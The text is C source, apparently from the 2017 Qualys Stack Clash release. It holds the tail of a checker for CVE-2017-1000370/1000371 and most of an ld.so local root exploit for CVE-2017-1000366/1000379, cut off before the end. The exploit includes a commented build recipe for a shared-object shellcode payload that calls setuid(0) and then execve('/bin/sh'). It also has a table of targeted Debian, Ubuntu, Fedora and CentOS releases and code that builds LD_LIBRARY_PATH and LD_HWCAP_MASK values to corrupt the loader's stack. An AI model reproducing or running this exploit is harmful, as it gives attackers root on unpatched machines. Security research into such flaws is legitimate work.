* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
#define MAX_STACK_SIZE ((size_t)1<<30)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define MIN_ARGC 1024
static void
analyze_mappings(const char * const binary)
{
if (!binary) die();
if (strchr(binary, ' ')) die();
int rval = EXIT_FAILURE;
int dump = 0;
const int fd = open("/proc/self/maps", O_RDONLY);
if (fd <= -1) die();
static char buf[4096] = " ";
char * cp = buf;
for (;;) {
if (cp >= buf + sizeof(buf)) die();
const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp);
if (nr <= 0) {
if (nr == 0) break;
if (nr != -1) die();
if (errno != EAGAIN && errno != EINTR) die();
continue;
}
cp += nr;
}
*cp = '\0';
if (memchr(buf, '\0', sizeof(buf)) != cp) die();
size_t hi_bin = 0;
size_t lo_lib = 0;
size_t lo_heap = 0;
size_t lo_stack = 0;
const char * line = buf;
for (;;) {
char * const nl = strchr(line, '\n');
if (!nl) die();
*nl = '\0';
cp = NULL;
const size_t lo = strtoul(line, &cp, 16);
if (cp <= line || *cp != '-') die();
if (lo <= 0) die();
line = cp + 1;
cp = NULL;
const size_t hi = strtoul(line, &cp, 16);
if (cp <= line || *cp != ' ') die();
if (hi <= lo) die();
cp = strrchr(cp + 1, ' ');
if (!cp) die();
cp++;
if (!strcmp(cp, binary)) {
hi_bin = hi;
if (lo == 0x08048000) {
fprintf(stderr, "Please recompile with -fpie -pie\n");
die();
}
} else if (!strcmp(cp, "[heap]")) {
if (!lo_heap) lo_heap = lo;
else {
if (lo_stack) die();
lo_stack = lo;
dump = 1;
}
} else if (!strcmp(cp, "[stack]")) {
if (!lo_stack) lo_stack = lo;
else {
die();
}
} else if (*cp == '/') {
if (!lo_lib) lo_lib = lo;
}
*nl = '\n';
line = nl + 1;
if (*line == '\0') break;
}
if (!hi_bin) die();
if (!lo_lib) die();
if (!lo_stack) {
if (!lo_heap) die();
lo_stack = lo_heap;
lo_heap = 0;
}
if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) {
fprintf(stderr, "CVE-2017-1000370 triggered\n");
rval = EXIT_SUCCESS;
dump = 1;
}
if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) {
fprintf(stderr, "CVE-2017-1000371 triggered\n");
rval = EXIT_SUCCESS;
dump = 1;
}
if (dump) {
const ssize_t len = strlen(buf);
if (len <= 0) die();
if (write(STDERR_FILENO, buf, len) != len) die();
}
if (close(fd)) die();
exit(rval);
}
int
main(const int my_argc, const char * const my_argv[])
{
if (my_argc >= MIN_ARGC) {
analyze_mappings(*my_argv);
die();
}
size_t stack_size = MAX_STACK_SIZE;
if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0);
else if (my_argc != 1) die();
if (stack_size > MAX_STACK_SIZE) die();
static char arg[MAX_ARG_STRLEN] = " ";
memset(arg, ' ', sizeof(arg)-1);
const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *));
if (argc < MIN_ARGC) die();
char ** const argv = calloc(argc + 1, sizeof(char *));
if (!argv) die();
char * const binary = realpath(*my_argv, NULL);
if (!binary) die();
*argv = binary;
size_t i;
for (i = 1; i < argc; i++) argv[i] = arg;
if (i != argc) die();
if (argv[i]) die();
for (i = 1; i; i++) {
fprintf(stderr, "Run #%zu...\n", i);
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY };
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
execve(*argv, argv, NULL);
die();
}
int status = 0;
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (!WIFEXITED(status)) die();
if (WEXITSTATUS(status) == EXIT_SUCCESS) continue;
if (WEXITSTATUS(status) != EXIT_FAILURE) die();
}
die();
}
/*
* Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379
* Copyright (C) 2017 Qualys, Inc.
*
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
* part of the GNU C Library:
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
__asm__ __volatile__ (
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;"
);
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/
#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)
#define MAX_ARG_STRLEN ((size_t)128<<10)
#define SUB_STACK_RAND ((size_t)8192)
#define INITIAL_STACK_EXPANSION (131072UL)
#define LDSO "/lib64/ld-linux-x86-64.so.2"
static const struct target * target;
static const struct target {
const char * name;
size_t vdso_vvar;
int jump_ldso_pie;
int CVE_2015_1593;
int offset2lib;
const char * system_dir;
const char * repl_lib;
unsigned int extra_page;
int ignore_lib;
int ignore_origin;
int disable_audit;
} targets[] = {
{
.name = "Debian 7.7 (wheezy)",
.vdso_vvar = 4096,
.jump_ldso_pie = 1,
.CVE_2015_1593 = 1,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
},
{
.name = "Debian 8.5 (jessie)",
.vdso_vvar = 16384,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
},
{
.name = "Debian 9.0 (stretch)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.extra_page = 1,
},
{
.name = "Ubuntu 14.04.2 (Trusty Tahr)",
.vdso_vvar = 8192,
.jump_ldso_pie = 1,
.CVE_2015_1593 = 1,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.disable_audit = 1,
},
{
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.disable_audit = 1,
},
{
.name = "Ubuntu 17.04 (Zesty Zapus)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.extra_page = 1,
.disable_audit = 1,
},
{
.name = "Fedora 22 (Twenty Two)",
.vdso_vvar = 16384,
.offset2lib = 1,
.system_dir = "/lib64",
.repl_lib = "lib64",
},
{
.name = "Fedora 25 (Server Edition)",
.vdso_vvar = 16384,
.system_dir = "/lib64",
.repl_lib = "lib64",
.extra_page = 1,
},
{
.name = "CentOS 7.3.1611 (Core)",
.vdso_vvar = 8192,
.jump_ldso_pie = 1,
.offset2lib = 1,
.system_dir = "/lib64",
.repl_lib = "lib64",
},
};
#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)
static const char *
my_asprintf(const char * const fmt, ...)
{
if (!fmt) die();
char * str = NULL;
va_list ap;
va_start(ap, fmt);
const int len = vasprintf(&str, fmt, ap);
va_end(ap);
if (!str) die();
if (len <= 0) die();
if ((unsigned int)len != strlen(str)) die();
return str;
}
static const ElfW(auxv_t) * my_auxv;
static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;
if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}
struct elf_info {
ElfW(Half) type;
uintptr_t rx_start, rx_end;
uintptr_t rw_start, rw_end;
};
static struct elf_info
get_elf_info(const char * const binary)
{
struct elf_info elf = { ET_NONE };
if (elf.rx_start || elf.rx_end) die();
if (elf.rw_start || elf.rw_end) die();
const int fd = open(binary, O_RDONLY);
if (fd <= -1) die();
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();
if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die();
if (ehdr->e_machine != EM_X86_64) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
elf.type = ehdr->e_type;
int interp = 0;
unsigned int i;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type == PT_INTERP) interp = 1;
if (phdr->p_type != PT_LOAD) continue;
if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr != phdr->p_paddr) die();
if (phdr->p_vaddr >= SAFESZ) die();
if (phdr->p_memsz >= SAFESZ) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_align != 0x200000) die();
switch (phdr->p_flags) {
case PF_R | PF_X:
if (elf.rx_end) die();
if (elf.rw_end) die();
if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die();
elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (!elf.rx_end) die();
break;
case PF_R | PF_W:
if (!elf.rx_end) die();
if (elf.rw_end) die();
elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (elf.rw_start <= elf.rx_end) die();
break;
default:
die();
}
}
if (!interp && !strstr(binary, "/ld-linux")) die();
if (!elf.rx_end) die();
if (!elf.rw_end) die();
free(buf);
return elf;
}
/* There are no hardware capabilities defined. */
#define my_hwcap_string(idx) ""
struct my_important_hwcaps {
unsigned long hwcap_mask;
size_t max_capstrlen;
size_t pointers;
size_t strings;
};
struct my_link_map {
const ElfW(Phdr) * l_phdr;
ElfW(Half) l_phnum;
ElfW(Addr) l_addr;
};
struct r_strlenpair
{
const char *str;
size_t len;
};
/* Return an array of useful/necessary hardware capability names. */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
const uint64_t hwcap, const uint64_t hwcap_mask,
const struct my_link_map * sysinfo_map)
{
static const struct my_important_hwcaps err;
/* Determine how many important bits are set. */
uint64_t masked = hwcap & hwcap_mask;
size_t cnt = platform != NULL;
size_t n, m;
size_t total;
struct r_strlenpair *result;
/* Count the number of bits set in the masked value. */
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
if ((masked & (1ULL << n)) != 0)
++cnt;
/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
This gives us a list of names to treat as fake hwcap bits. */
const char *dsocaps = NULL;
size_t dsocapslen = 0;
if (sysinfo_map != NULL)
{
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
const ElfW(Word) phnum = sysinfo_map->l_phnum;
uint_fast16_t i;
for (i = 0; i < phnum; ++i)
if (phdr[i].p_type == PT_NOTE)
{
const ElfW(Addr) start = (phdr[i].p_vaddr
+ sysinfo_map->l_addr);
/* The standard ELF note layout is exactly as the anonymous struct.
The next element is a variable length vendor name of length
VENDORLEN (with a real length rounded to ElfW(Word)), followed
by the data of length DATALEN (with a real length rounded to
ElfW(Word)). */
const struct
{
ElfW(Word) vendorlen;
ElfW(Word) datalen;
ElfW(Word) type;
} *note = (const void *) start;
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
{
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
/* The layout of the type 2, vendor "GNU" note is as follows:
.long <Number of capabilities enabled by this note>
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
.byte <The bit number for the next capability>
.asciz <The name of the capability>. */
if (note->type == NT_GNU_HWCAP
&& note->vendorlen == sizeof "GNU"
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
{
const ElfW(Word) *p = ((const void *) (note + 1)
+ ROUND (sizeof "GNU"));
cnt += *p++;
++p; /* Skip mask word. */
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
dsocapslen = note->datalen - sizeof *p * 2;
break;
}
note = ((const void *) (note + 1)
+ ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
}
if (dsocaps != NULL)
break;
}
}
/* For TLS enabled builds always add 'tls'. */
++cnt;
/* Create temporary data structure to generate result table. */
if (cnt < 2) return err;
if (cnt >= 32) return err;
struct r_strlenpair temp[cnt];
m = 0;
if (dsocaps != NULL)
{
/* dsocaps points to the .asciz string, and -1 points to the mask
.long just before the string. */
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
size_t len;
const char *p;
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
{
uint_fast8_t bit = *p++;
len = strlen (p);
/* Skip entries that are not enabled in the mask word. */
if (mask & ((ElfW(Word)) 1 << bit))
{
temp[m].str = p;
temp[m].len = len;
++m;
}
else
--cnt;
}
}
for (n = 0; masked != 0; ++n)
if ((masked & (1ULL << n)) != 0)
{
temp[m].str = my_hwcap_string (n);
temp[m].len = strlen (temp[m].str);
masked ^= 1ULL << n;
++m;
}
if (platform != NULL)
{
temp[m].str = platform;
temp[m].len = platform_len;
++m;
}
temp[m].str = "tls";
temp[m].len = 3;
++m;
assert (m == cnt);
/* Determine the total size of all strings together. */
if (cnt == 1)
total = temp[0].len + 1;
else
{
total = temp[0].len + temp[cnt - 1].len + 2;
if (cnt > 2)
{
total <<= 1;
for (n = 1; n + 1 < cnt; ++n)
total += temp[n].len + 1;
if (cnt > 3
&& (cnt >= sizeof (size_t) * 8
|| total + (sizeof (*result) << 3)
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
return err;
total <<= cnt - 3;
}
}
/* The result structure: we use a very compressed way to store the
various combinations of capability names. */
const size_t _sz = 1 << cnt;
/* Now we are ready to install the string pointers and length. */
size_t max_capstrlen = 0;
n = cnt;
do
{
const size_t mask = 1 << --n;
for (m = 1 << cnt; m > 0; ) {
if ((--m & mask) != 0)
max_capstrlen += temp[n].len + 1;
break;
}
}
while (n != 0);
if (hwcap_mask > ULONG_MAX) die();
const struct my_important_hwcaps ret = {
.hwcap_mask = hwcap_mask,
.max_capstrlen = max_capstrlen,
.pointers = _sz * sizeof (*result),
.strings = total,
};
return ret;
}
static size_t
my_bsearch(const void * const key,
const void * const base, const size_t nmemb, const size_t size,
int (* const compar)(const void *, const void *))
{
if (!key) die();
if (!size) die();
if (!compar) die();
if (nmemb >= SSIZE_MAX / size) die();
if (!base != !nmemb) die();
if (!base || !nmemb) return 0;
size_t low = 0;
size_t high = nmemb - 1;
while (low <= high) {
const size_t mid = low + (high - low) / 2;
if (mid >= nmemb) die();
const int cond = compar(key, base + mid * size);
switch (cond) {
case 0:
return mid;
case -1:
if (mid <= 0) {
if (mid != 0) die();
if (low != 0) die();
return low;
}
high = mid - 1;
break;
case +1:
low = mid + 1;
break;
default:
die();
}
}
if (low > nmemb) die();
return low;
}
static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
const struct my_important_hwcaps * const a = _a;
const struct my_important_hwcaps * const b = _b;
if (a->strings < b->strings) return -1;
if (a->strings > b->strings) return +1;
if (a->pointers < b->pointers) return -1;
if (a->pointers > b->pointers) return +1;
if (a->max_capstrlen < b->max_capstrlen) return -1;
if (a->max_capstrlen > b->max_capstrlen) return +1;
return 0;
}
static void
copy_lib(const char * const src, const char * const dst)
{
if (!src) die();
if (*src != '/') die();
if (!dst) die();
if (*dst != '/') die();
const int src_fd = open(src, O_RDONLY);
if (src_fd <= -1) die();
const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (dst_fd <= -1) die();
for (;;) {
char buf[1024];
const ssize_t rd = read(src_fd, buf, sizeof(buf));
if (rd == 0) break;
if (rd <= 0) die();
const ssize_t wr = write(dst_fd, buf, rd);
if (wr != rd) die();
}
if (fchmod(dst_fd, 0755)) die();
if (close(dst_fd)) die();
if (close(src_fd)) die();
}
static void
create_needed_libs(const char * const bin, const char * const dir)
{
if (!bin) die();
if (*bin != '/') die();
if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die();
if (!dir) die();
if (*dir != '/') die();
if (dir[strlen(dir)-1] != '/') die();
char cmd[256];
if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin)
>= sizeof(cmd)) die();
FILE * const fp = popen(cmd, "r");
if (!fp) die();
char buf[256];
unsigned int num_libs = 0;
while (fgets(buf, sizeof(buf), fp) == buf) {
if (!strchr(buf, '\n')) die();
const char * const rel_lib = buf + strspn(buf, "\t ");
if (strncmp(rel_lib, "lib", 3)) continue;
char * sp = strchr(rel_lib, ' ');
if (!sp) die();
if (strncmp(sp, " => /", 5)) die();
*sp = '\0';
if (strchr(rel_lib, '/')) die();
const char * const abs_lib = sp + 4;
if (*abs_lib != '/') die();
sp = strchr(abs_lib, ' ');
if (!sp) die();
if (strncmp(sp, " (0x", 4)) die();
*sp = '\0';
size_t i;
static const char * const prefixes[] = { "", "/", "/.", "/.." };
for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) {
char tmp_lib[256];
if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib)
>= sizeof(tmp_lib)) die();
copy_lib(abs_lib, tmp_lib);
}
if (!++num_libs) die();
}
if (!num_libs) die();
printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : "");
if (pclose(fp) != EXIT_SUCCESS) die();
}
int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768;
printf("safe_stack_size %zu\n", safe_stack_size);
if (safe_stack_size <= SUB_STACK_RAND) die();
const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, R_OK | X_OK)) die();
const struct elf_info elf_binary = get_elf_info(binary);
const struct elf_info elf_interp = get_elf_info(LDSO);
const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp;
const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0;
if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die();
const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
if (strcmp(platform, "x86_64") != 0) die();
const size_t platform_len = strlen(platform);
const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
{
size_t i;
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();
const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
if (!sysinfo_dso) die();
struct my_link_map sysinfo_map = {
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
.l_phnum = sysinfo_dso->e_phnum,
.l_addr = ULONG_MAX
};
{
uint_fast16_t i;
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
if (ph->p_type == PT_LOAD) {
if (sysinfo_map.l_addr == ULONG_MAX)
sysinfo_map.l_addr = ph->p_vaddr;
}
}
}
if (sysinfo_map.l_addr == ULONG_MAX) die();
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
const unsigned long hwcap = my_getauxval(AT_HWCAP);
if (!hwcap) die();
struct my_important_hwcaps * important_hwcaps = NULL;
size_t num_important_hwcaps = 0;
{
size_t max_important_hwcaps = 0;
uint32_t hwcap_mask = 1;
do {
if (hwcap_mask & ~hwcap) continue;
const uint64_t popcount = __builtin_popcount(hwcap_mask);
if (popcount < 1) die();
if (popcount > 32) die();
const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
if (!ihc.pointers) die();
const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
if (idx > num_important_hwcaps) die();
if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
if (num_important_hwcaps >= max_important_hwcaps) {
if (num_important_hwcaps != max_important_hwcaps) die();
if (max_important_hwcaps >= 65536) die();
max_important_hwcaps += 256;
if (num_important_hwcaps >= max_important_hwcaps) die();
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
if (!important_hwcaps) die();
}
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
important_hwcaps[idx] = ihc;
num_important_hwcaps++;
}
if (!(hwcap_mask % 0x10000000))
printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask);
} while (++hwcap_mask);
}
printf("num_important_hwcaps %zu\n", num_important_hwcaps);
static struct {
size_t len, gwr, dst, cnt;
struct my_important_hwcaps ihc;
} best = { .ihc = { .pointers = SIZE_MAX } };
if (strrchr(target->system_dir, '/') != target->system_dir) die();
const char * const sep_lib = my_asprintf(":%s", target->system_dir);
const size_t sep_lib_len = strlen(sep_lib);
if (sep_lib_len >= MALLOC_ALIGN) die();
#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];
size_t len;
for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) {
size_t gwr;
for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) {
size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1;
size_t idx;
for (idx = 0; idx < num_important_hwcaps; idx++) {
const struct my_important_hwcaps ihc = important_hwcaps[idx];
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
if (ihc.pointers <= 2 * SUB_STACK_RAND) continue;
const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ);
if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue;
const size_t ihc_strings_start = ihc.pointers;
const size_t ihc_strings_end = ihc_strings_start + ihc.strings;
const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size;
const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND;
const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND;
if (gpj_base_lo <= gpj) continue;
if (gpj_base_hi - gpj >= ihc_strings_start) continue;
if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue;
if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue;
if (best.ihc.pointers <= ihc.pointers) continue;
best.ihc = ihc;
best.len = len;
best.gwr = gwr;
best.dst = dst;
best.cnt = cnt;
printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n",
ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len);
}
}
}
}
if (best.ihc.pointers >= SIZE_MAX) die();
if (INITIAL_STACK_EXPANSION <= safe_stack_size) die();
const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *);
static char pad[MAX_ARG_STRLEN];
memset(pad, ' ', sizeof(pad)-1);
{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', best.len);
if (best.len <= sep_lib_len) die();
memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len);
if (*(cp + best.len)) die();
#define LIB_TO_TMP "/../tmp/"
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
if (!best.gwr) die();
if (best.gwr >= best.len) die();
if (best.gwr % MALLOC_ALIGN) die();
size_t i;
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
}
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if (llp[sizeof(llp)-1]) die();
if (strlen(llp) != sizeof(LLP)-1 + best.len) die();
}
#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
>= sizeof(lhcm)) die();
const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
if (!target->jump_ldso_pie) {
size_t i;
for (i = 0; i < pads; i++) {
*ap++ = pad;
}
}
*ap++ = NULL;
if (ap != argv + args) die();
}
const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
#define REL_LA "a"
